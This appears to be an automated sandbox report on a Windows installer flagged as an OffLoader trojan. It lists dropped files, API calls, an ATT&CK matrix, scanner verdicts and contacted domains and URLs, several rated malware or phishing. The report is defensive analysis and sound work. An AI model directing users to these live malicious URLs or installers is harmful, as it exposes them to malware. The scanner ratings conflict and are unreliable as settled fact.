Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Static file information: File size 1672037 > 1048576

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: winrar-x64-623.exe.3.dr, nsv1A16.tmp.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: winrar-x64-623.exe.3.dr, nsv1A16.tmp.3.dr

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

3_2_00405E88

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Static PE information: section name: .didata
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	Static PE information: section name: .didata
Source: is-J0573.tmp.2.dr	Static PE information: section name: .didata
Source: winrar-x64-623.exe.3.dr	Static PE information: section name: .didat
Source: winrar-x64-623.exe.3.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Windows\is-J0573.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-T7UL9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-GGPGD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	File created: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File created: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Windows\is-J0573.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	File created: C:\Windows\unins000.exe (copy)			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Dropped PE file which has not been started: C:\Windows\is-J0573.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Dropped PE file which has not been started: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Dropped PE file which has not been started: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_00405E61 FindFirstFileA,FindClose,	3_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000959000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000908000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.0000000000865000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.000000000084E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_3-3562
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_3-3560

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

3_2_00405E88

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Queries volume information: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00405B88 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

3_2_00405B88

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	1 Process Injection	21 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	13 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	2 System Owner/User Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	14 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	37%	ReversingLabs	Win32.Trojan.OffLoader
A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	47%	Virustotal		Browse
A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\winrar-x64-623.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll	5%	ReversingLabs
C:\winrar-x64-623.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
restfork.website	10%	Virustotal	Browse
beadhouse.xyz	0%	Virustotal	Browse
antsmemory.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9Inno	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2713&dn=424&spot=5&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2713&dn=244&spot=3&t=17	0%	Avira URL Cloud	safe
https://destructionheat.site/tracker/thank_you.php?trk=2713	100%	Avira URL Cloud	malware
https://digitalpulsedata.com/tos	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2713&dn=424&spot=5&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2713&dn=415&spot=4&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&	0%	Avira URL Cloud	safe
https://destructionheat.site/tracker/thank_you.php?trk=2713	3%	Virustotal		Browse
http://restfork.website/0	100%	Avira URL Cloud	malware
https://digitalpulsedata.com/tos	9%	Virustotal		Browse
http://restfork.website/0	1%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2713&dn=420&spot=1&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664Z	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92http://beadhouse.xyz/a	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dub	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2713&dn=420&spot=1&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4&t=1705853516	0%	Avira URL Cloud	safe
http://restfork.website/	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2713&dn=416&spot=6&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2713&dn=420&spot=1&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2713&dn=419&spot=2&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2713&dn=424&spot=5&t=1	0%	Avira URL Cloud	safe
http://restfork.website/	10%	Virustotal		Browse
http://restfork.website/boa.php	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6&t=1705853516	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516InnoDownloadPlugin/1.5/USERAGENT/silentget1023	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	1%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2713&dn=419&spot=2&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331p_w	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
http://restfork.website/boa.php	7%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=2&a=2713&on=419&o=1661	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Avira URL Cloud	safe
https://www.innosetup.com/	2%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2713&dn=415&spot=4&t=17058	0%	Avira URL Cloud	safe
http://restfork.website/LP	100%	Avira URL Cloud	malware
https://beadhouse.xyz/	0%	Virustotal		Browse
http://antsmemory.xyz/N	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664	0%	Avira URL Cloud	safe
http://antsmemory.xyz/R	100%	Avira URL Cloud	phishing
http://antsmemory.xyz/	100%	Avira URL Cloud	phishing
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=16574	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2713&dn=244&spot=3&t=170585	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2713&dn=415&spot=4&t=1	0%	Avira URL Cloud	safe
http://windactivity.online/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT2	0%	Avira URL Cloud	safe
https://advancedmanager.io/privacy-policy	0%	Avira URL Cloud	safe
http://antsmemory.xyz/N	5%	Virustotal		Browse
http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25sa	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2713&dn=416&spot=6&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2713&dn=419&spot=2&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&t=1705853516	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2713&on=420&o=1662	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2&t=1705853516	0%	Avira URL Cloud	safe
http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ==&sub=&ps=65786d51bb7ab	100%	Avira URL Cloud	malware
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZ	100%	Avira URL Cloud	phishing
http://www.thedownloadplanet.com/termsofuse	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658R	0%	Avira URL Cloud	safe
http://www.pcmaintainer.com/privacy	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1&t=1705853516	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657up_0.exe	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2713&dn=416&spot=6&t=17058	0%	Avira URL Cloud	safe
http://restfork.webss	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2713&dn=244&spot=3&t=170	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658d	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5&t=1705853516	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restfork.website	172.67.206.124	true	true	10%, Virustotal, Browse	unknown
beadhouse.xyz	172.67.219.140	true	true	0%, Virustotal, Browse	unknown
antsmemory.xyz	104.21.23.90	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4&t=1705853516	true	Avira URL Cloud: safe	unknown
http://restfork.website/boa.php	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6&t=1705853516	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2713&on=419&o=1661	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&t=1705853516	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2713&on=420&o=1662	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2&t=1705853516	true	Avira URL Cloud: safe	unknown
http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ==&sub=&ps=65786d51bb7ab	true	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1&t=1705853516	true	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517	false	Avira URL Cloud: phishing	unknown
